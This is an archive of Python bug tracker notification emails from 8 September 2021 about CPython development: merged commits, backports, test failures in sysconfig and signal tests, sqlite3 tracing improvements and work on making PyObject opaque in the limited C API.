From report at bugs.python.org  Wed Sep  8 06:07:47 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 08 Sep 2021 10:07:47 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
In-Reply-To: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>
Message-ID: <1631095667.55.0.632104530891.issue45132@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset d003a5bd2505a7fa04f50504b68ba8fca67349cd by Hugo van Kemenade in branch 'main':
bpo-45132 Remove deprecated __getitem__ methods (GH-28225)
https://github.com/python/cpython/commit/d003a5bd2505a7fa04f50504b68ba8fca67349cd


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:12:32 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 08 Sep 2021 10:12:32 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
In-Reply-To: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>
Message-ID: <1631095952.16.0.689477338719.issue45132@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Thank you for your contribution Hugo.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:20:06 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 10:20:06 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631096406.62.0.747894904333.issue45126@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26651
pull_request: https://github.com/python/cpython/pull/28231

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:25:28 2021
From: report at bugs.python.org (Ken Jin)
Date: Wed, 08 Sep 2021 10:25:28 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631096728.12.0.472598993509.issue45121@roundup.psfhosted.org>


Ken Jin  added the comment:


New changeset c11956a8bddd75f02ccc7b4da7e4d8123e1f3c5f by Yurii Karabas in branch 'main':
bpo-45121: Fix RecursionError when calling Protocol.__init__ from a subclass' __init__ (GH-28206)
https://github.com/python/cpython/commit/c11956a8bddd75f02ccc7b4da7e4d8123e1f3c5f


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:25:32 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 08 Sep 2021 10:25:32 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631096732.49.0.997105510651.issue45121@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 6.0 -> 7.0
pull_requests: +26652
pull_request: https://github.com/python/cpython/pull/28232

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:33:11 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 10:33:11 +0000
Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited
 C API
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631097191.33.0.0980498036944.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:

> boost https://bugzilla.redhat.com/show_bug.cgi?id=1896382

Fixed by: https://github.com/boostorg/python/commit/500194edb7833d0627ce7a2595fec49d0aae2484

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:35:56 2021
From: report at bugs.python.org (Ken Jin)
Date: Wed, 08 Sep 2021 10:35:56 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631097356.79.0.0905381239108.issue45121@roundup.psfhosted.org>


Change by Ken Jin :


----------
pull_requests: +26653
pull_request: https://github.com/python/cpython/pull/28233

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:38:46 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 10:38:46 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631097526.18.0.389870715165.issue45126@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26654
pull_request: https://github.com/python/cpython/pull/28234

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:42:49 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 10:42:49 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631097769.2.0.277769161925.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

I'll save the cleanup till Python 3.13 dev is started. I've opened a PR for fixing the ref leak (should be backported), and a draft PR for deprecating Connection and Cursor reinitialisation.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:46:29 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 10:46:29 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
Message-ID: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>


New submission from STINNER Victor :

When Python is configured to use 'lib64' for sys.platlibdir, test_sysconfig fails:

$ ./configure --with-platlibdir=lib64
$ make
$ ./python -m test -v test_sysconfig 

======================================================================
FAIL: test_user_similar (test.test_sysconfig.TestSysConfig)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/vstinner/python/main/Lib/test/test_sysconfig.py", line 299, in test_user_similar
    self.assertEqual(user_path, global_path.replace(base, user, 1))
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AssertionError: '/home/vstinner/.local/lib/python3.11/site-packages' != '/home/vstinner/.local/lib64/python3.11/site-packages'
- /home/vstinner/.local/lib/python3.11/site-packages
+ /home/vstinner/.local/lib64/python3.11/site-packages
?                          ++

----------
components: Tests
messages: 401372
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_sysconfig: test_user_similar() fails if sys.platlibdir is 'lib64'
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:48:10 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Wed, 08 Sep 2021 10:48:10 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631098090.34.0.845750143946.issue45136@roundup.psfhosted.org>


Miro Hron?ok  added the comment:

This was introduced in issue44860.

----------
nosy: +dstufft, eric.araujo, frenzy, hroncok, lukasz.langa, miss-islington, pablogsal, petr.viktorin, uranusjr

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:47:32 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Wed, 08 Sep 2021 10:47:32 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631098052.32.0.397398694258.issue44860@roundup.psfhosted.org>


Miro Hron?ok  added the comment:

There seem to be a regression in test_user_similar: https://bugs.python.org/issue45136

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:54:39 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 10:54:39 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631098479.76.0.739159067395.issue45136@roundup.psfhosted.org>


STINNER Victor  added the comment:

> This was introduced in issue44860.

Right. Reverting the commit 608a6292366ebba20f33d93d8b52cbb928429e47 (bpo-44860) fix the test.

The test should be updated.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:57:00 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 10:57:00 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631098620.34.0.314825183364.issue45136@roundup.psfhosted.org>


STINNER Victor  added the comment:

I mark this issue as a release blocker: it would be *nice* to fix it before Python 3.10.0 final ;-)

----------
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:02:22 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 11:02:22 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631098942.33.0.289968956613.issue44860@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26655
pull_request: https://github.com/python/cpython/pull/28235

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:22:01 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 11:22:01 +0000
Subject: [issue34557] When sending binary file to a Microsoft FTP server over
 FTP TLS, the SSL unwind method hangs
In-Reply-To: <1535738453.08.0.56676864532.issue34557@psf.upfronthosting.co.za>
Message-ID: <1631100121.93.0.150219237067.issue34557@roundup.psfhosted.org>


Change by Irit Katriel :


----------
nosy: +christian.heimes

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:22:11 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 08 Sep 2021 11:22:11 +0000
Subject: [issue45097] "The loop argument is deprecated" reported when user
 code does not use it
In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org>
Message-ID: <1631100131.21.0.372764738321.issue45097@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
pull_requests: +26656
pull_request: https://github.com/python/cpython/pull/28236

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:27:21 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 11:27:21 +0000
Subject: [issue38371] Tkinter: deprecate the split() method
In-Reply-To: <1570203221.73.0.664458057352.issue38371@roundup.psfhosted.org>
Message-ID: <1631100441.43.0.864764920961.issue38371@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
nosy: +erlendaasland
nosy_count: 1.0 -> 2.0
pull_requests: +26657
pull_request: https://github.com/python/cpython/pull/28237

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:44:26 2021
From: report at bugs.python.org (Victor Vorobev)
Date: Wed, 08 Sep 2021 11:44:26 +0000
Subject: [issue45137] Fix for bpo-37788 was not backported to Python3.8
Message-ID: <1631101466.05.0.472114996344.issue45137@roundup.psfhosted.org>


New submission from Victor Vorobev :

There is a [fix](https://github.com/python/cpython/pull/26103) for [bpo-37788](https://bugs.python.org/issue37788), but automatic backport to 3.8 branch [have failed](https://github.com/python/cpython/pull/26103#issuecomment-841460885), and it looks like no one have backported it manually.

----------
components: Library (Lib)
messages: 401377
nosy: victorvorobev
priority: normal
severity: normal
status: open
title: Fix for bpo-37788 was not backported to Python3.8
type: resource usage
versions: Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 07:48:52 2021
From: report at bugs.python.org (Victor Vorobev)
Date: Wed, 08 Sep 2021 11:48:52 +0000
Subject: [issue45137] Fix for bpo-37788 was not backported to Python3.8
In-Reply-To: <1631101466.05.0.472114996344.issue45137@roundup.psfhosted.org>
Message-ID: <1631101732.81.0.628871624389.issue45137@roundup.psfhosted.org>


Change by Victor Vorobev :


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:01:09 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 12:01:09 +0000
Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions
 on error
In-Reply-To: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org>
Message-ID: <1631102469.65.0.0737868672558.issue45089@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26658
stage: resolved -> patch review
pull_request: https://github.com/python/cpython/pull/28238

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:12:35 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 12:12:35 +0000
Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited
 C API
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631103155.42.0.107267532442.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:

I checked again the list of broken projects listed previously.

Fixed:

* Cython: https://github.com/cython/cython/commit/d8e93b332fe7d15459433ea74cd29178c03186bd
* immutables: https://github.com/MagicStack/immutables/pull/52
* numpy:

  * https://github.com/numpy/numpy/commit/a96b18e3d4d11be31a321999cda4b795ea9eccaa
  * https://github.com/numpy/numpy/commit/f1671076c80bd972421751f2d48186ee9ac808aa

* pycurl: https://github.com/pycurl/pycurl/commit/e633f9a1ac4df5e249e78c218d5fbbd848219042
* bitarray: https://github.com/ilanschnell/bitarray/pull/109
* mercurial: https://bz.mercurial-scm.org/show_bug.cgi?id=6451
* boost: https://github.com/boostorg/python/commit/500194edb7833d0627ce7a2595fec49d0aae2484
* pyside2: https://bugreports.qt.io/browse/PYSIDE-1436
* breezy: https://bugs.launchpad.net/brz/+bug/1904868
* duplicity: https://git.launchpad.net/duplicity/commit/duplicity/_librsyncmodule.c?id=bbaae91b5ac6ef7e295968e508522884609fbf84
* gobject-introspection: https://gitlab.gnome.org/GNOME/gobject-introspection/-/merge_requests/243

Fix proposed:

* pybluez: https://github.com/pybluez/pybluez/pull/410

Broken:

* PyPAM
* pygobject3
* pylibacl 
* rdiff-backup

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:30:51 2021
From: report at bugs.python.org (Victor Vorobev)
Date: Wed, 08 Sep 2021 12:30:51 +0000
Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition)
 causes reference leak
In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org>
Message-ID: <1631104251.05.0.356474858841.issue37788@roundup.psfhosted.org>


Change by Victor Vorobev :


----------
nosy: +victorvorobev
nosy_count: 15.0 -> 16.0
pull_requests: +26659
pull_request: https://github.com/python/cpython/pull/28239

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:43:07 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 12:43:07 +0000
Subject: [issue44959] EXT_SUFFIX is missing '.sl' on HP-UX
In-Reply-To: <1629452083.0.0.513630560234.issue44959@roundup.psfhosted.org>
Message-ID: <1631104987.89.0.271221504479.issue44959@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 2396fa6537d79554ac694dbd2b0b30eeb3476c80 by Florin Sp?tar in branch 'main':
bpo-44959: Add fallback to extension modules with '.sl' suffix on HP-UX (GH-27857)
https://github.com/python/cpython/commit/2396fa6537d79554ac694dbd2b0b30eeb3476c80


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:43:39 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 12:43:39 +0000
Subject: [issue44959] EXT_SUFFIX is missing '.sl' on HP-UX
In-Reply-To: <1629452083.0.0.513630560234.issue44959@roundup.psfhosted.org>
Message-ID: <1631105019.13.0.433725258005.issue44959@roundup.psfhosted.org>


Change by STINNER Victor :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.11 -Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 08:47:26 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 12:47:26 +0000
Subject: [issue30849] test_stress_delivery_dependent() of test_signal randomly
 fails on AMD64 Debian root 3.6/3.x
In-Reply-To: <1499181411.1.0.541300647507.issue30849@psf.upfronthosting.co.za>
Message-ID: <1631105246.39.0.813034743118.issue30849@roundup.psfhosted.org>


STINNER Victor  added the comment:

We also got this error randomly on an internal s390x Red Hat build server:

======================================================================
FAIL: test_stress_delivery_simultaneous (test.test_signal.StressTest)
This test uses simultaneous signal handlers.
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/lib64/python3.9/test/test_signal.py", line 1245, in test_stress_delivery_simultaneous
    self.assertEqual(len(sigs), N, "Some signals were lost")
AssertionError: 5936 != 10000 : Some signals were lost

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 09:21:00 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 13:21:00 +0000
Subject: [issue30570] issubclass segfaults on objects with weird __getattr__
In-Reply-To: <1496622334.44.0.71686890535.issue30570@psf.upfronthosting.co.za>
Message-ID: <1631107260.13.0.536257465889.issue30570@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reproduced on 3.11.

----------
nosy: +iritkatriel
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 09:31:22 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 13:31:22 +0000
Subject: [issue12872] --with-tsc crashes on ppc64
In-Reply-To: <1314827484.72.0.601008700485.issue12872@psf.upfronthosting.co.za>
Message-ID: <1631107882.07.0.129359656677.issue12872@roundup.psfhosted.org>


Irit Katriel  added the comment:

I don't see anything like the code of the patch in ceval.c now.

I will close this soon unless given a reason not to.

----------
nosy: +iritkatriel
resolution:  -> out of date
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 10:05:15 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 14:05:15 +0000
Subject: [issue45138] [sqlite3] expand bound values in traced statements if
 possible
Message-ID: <1631109915.01.0.788685972139.issue45138@roundup.psfhosted.org>


New submission from Erlend E. Aasland :

For SQLite 3.14.0 and newer, we're using the v2 trace API. This means that the trace callback receives a pointer to the sqlite3_stmt object. We can use the sqlite3_stmt pointer to retrieve expanded SQL string.

The following statement...:
cur.executemany("insert into t values(?)", ((v,) for v in range(3)))

...will produce the following traces:
  insert into t values(0)
  insert into t values(1)
  insert into t values(2)

...instead of:
  insert into t values(?)
  insert into t values(?)
  insert into t values(?)

----------
assignee: erlendaasland
components: Extension Modules
messages: 401383
nosy: erlendaasland
priority: low
severity: normal
status: open
title: [sqlite3] expand bound values in traced statements if possible
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 10:19:47 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 14:19:47 +0000
Subject: [issue45138] [sqlite3] expand bound values in traced statements if
 possible
In-Reply-To: <1631109915.01.0.788685972139.issue45138@roundup.psfhosted.org>
Message-ID: <1631110787.55.0.482593653235.issue45138@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
keywords: +patch
pull_requests: +26660
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28240

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:02:00 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:02:00 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631113320.54.0.659540993015.issue45121@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 99506dcbbe9fb56ceabe55f0a4333e5981b72095 by Ken Jin in branch '3.9':
[3.9] bpo-45121: Fix RecursionError when calling Protocol.__init__ from a subclass' __init__ (GH-28206) (GH-28233)
https://github.com/python/cpython/commit/99506dcbbe9fb56ceabe55f0a4333e5981b72095


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:05:31 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:05:31 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631113531.34.0.125623314704.issue45121@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset c081649e6df55203178a44d16bc4c96f9fa2c6a4 by Miss Islington (bot) in branch '3.10':
bpo-45121: Fix RecursionError when calling Protocol.__init__ from a subclass' __init__ (GH-28206) (GH-28232)
https://github.com/python/cpython/commit/c081649e6df55203178a44d16bc4c96f9fa2c6a4


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:06:58 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:06:58 +0000
Subject: [issue45121] Calling super().__init__ in subclasses of
 typing.Protocol raises RecursionError
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1631113618.07.0.0521483480858.issue45121@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Pablo, marking as release blocker. PR GH-28232 is merged to 3.10. It should be cherry-picked for 3.10.0 inclusion.

----------
nosy: +pablogsal
priority: critical -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:09:06 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:09:06 +0000
Subject: [issue25130] Make tests more PyPy compatible
In-Reply-To: <1442340924.34.0.752221775968.issue25130@psf.upfronthosting.co.za>
Message-ID: <1631113746.84.0.12349858253.issue25130@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 462c1f0403324efc27c11435da12b8d16f5387de by Serhiy Storchaka in branch '3.10':
[3.10] bpo-25130: Add calls of gc.collect() in tests to support PyPy (GH-28005) (GH-28027)
https://github.com/python/cpython/commit/462c1f0403324efc27c11435da12b8d16f5387de


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:10:23 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:10:23 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631113823.8.0.878578166219.issue45118@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks, Victor! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:09:59 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:09:59 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631113799.1.0.948490350065.issue45118@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 7538fe34d730fe08cbbecc17606bc0f5f69ff416 by Miss Islington (bot) in branch '3.10':
bpo-45118: Fix regrtest second summary for re-run tests (GH-28183) (GH-28214)
https://github.com/python/cpython/commit/7538fe34d730fe08cbbecc17606bc0f5f69ff416


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:11:03 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 15:11:03 +0000
Subject: [issue41031] Inconsistency in C and python traceback printers
In-Reply-To: <1592556858.95.0.825167658939.issue41031@roundup.psfhosted.org>
Message-ID: <1631113863.97.0.0764797531293.issue41031@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:13:01 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:13:01 +0000
Subject: [issue45012] DirEntry.stat method should release GIL
In-Reply-To: <1629978813.83.0.528049638414.issue45012@roundup.psfhosted.org>
Message-ID: <1631113981.72.0.42440594376.issue45012@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Sadly, we can't backport this to 3.9 as it's only accepting bugfixes and this is a performance improvement. 3.10 is out of scope for this too as 3.10.0rc2 shipped last night.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:28:41 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:28:41 +0000
Subject: [issue19113] duplicate test names in Lib/ctypes/test/test_functions.py
In-Reply-To: <1380385419.52.0.767012097586.issue19113@psf.upfronthosting.co.za>
Message-ID: <1631114921.62.0.13338440091.issue19113@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset a5610057615779ca6fc75d9e006d2fae644a94d3 by andrei kulakov in branch 'main':
bpo-19113: Remove unused test_errors from ctypes tests (GH-28008)
https://github.com/python/cpython/commit/a5610057615779ca6fc75d9e006d2fae644a94d3


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:32:29 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:32:29 +0000
Subject: [issue19113] duplicate test names in Lib/ctypes/test/test_functions.py
In-Reply-To: <1380385419.52.0.767012097586.issue19113@psf.upfronthosting.co.za>
Message-ID: <1631115149.75.0.487736546777.issue19113@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Change made in Python 3.11: duplicate test removed. Closing.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.11 -Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:47:13 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 08 Sep 2021 15:47:13 +0000
Subject: [issue45135] dataclasses.asdict() incorrectly calls __deepcopy__() on
 values.
In-Reply-To: <1631092721.82.0.0802849147398.issue45135@roundup.psfhosted.org>
Message-ID: <1631116033.24.0.043810857359.issue45135@roundup.psfhosted.org>


Eric V. Smith  added the comment:

The intent was that asdict() returns something that, if mutated, doesn't affect the original object tree. I'd sort of like to just deprecate it, it's got a lot of corner cases that are poorly handled.

It probably needs the same kind of controls that attrs.asdict() does.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 11:59:50 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 15:59:50 +0000
Subject: [issue45097] "The loop argument is deprecated" reported when user
 code does not use it
In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org>
Message-ID: <1631116790.83.0.719753568122.issue45097@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset a328a13b70ea0b0bec8b9d1b0067628369cabea9 by Serhiy Storchaka in branch '3.9':
[3.9] bpo-45097: Fix deprecation warnings in test_asyncio (GH-28236)
https://github.com/python/cpython/commit/a328a13b70ea0b0bec8b9d1b0067628369cabea9


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:06:14 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 16:06:14 +0000
Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited
 C API
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631117174.7.0.849754008645.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:

At commit cb15afcccffc6c42cbfb7456ce8db89cd2f77512, I am able to rename PyObject members (to make sure that the structure is not accessed directly), I only had to modify header files:

* Py_REFCNT(), Py_SET_REFCNT()
* Py_INCREF(), Py_DECREF()
* Py_TYPE(), Py_SET_TYPE()
* Py_IS_TYPE()

And just two more C files which corner cases:

* 1 line in Python/specialize.c
* 1 line in Modules/_testcapimodule.c: check_pyobject_forbidden_bytes_is_freed()

--

I did the same with PyVarObject, rename the ob_size member. I had to modify header files:

* Py_SIZE(), Py_SET_SIZE()

But I had to modify the following function of the array module:

static int
array_buffer_getbuf(arrayobject *self, Py_buffer *view, int flags)
{
    ...
    if ((flags & PyBUF_ND)==PyBUF_ND) {
        view->shape = &((PyVarObject*)self)->ob_size;
    }
    ...
    return 0;
}

I'm not sure how to patch this function.

--

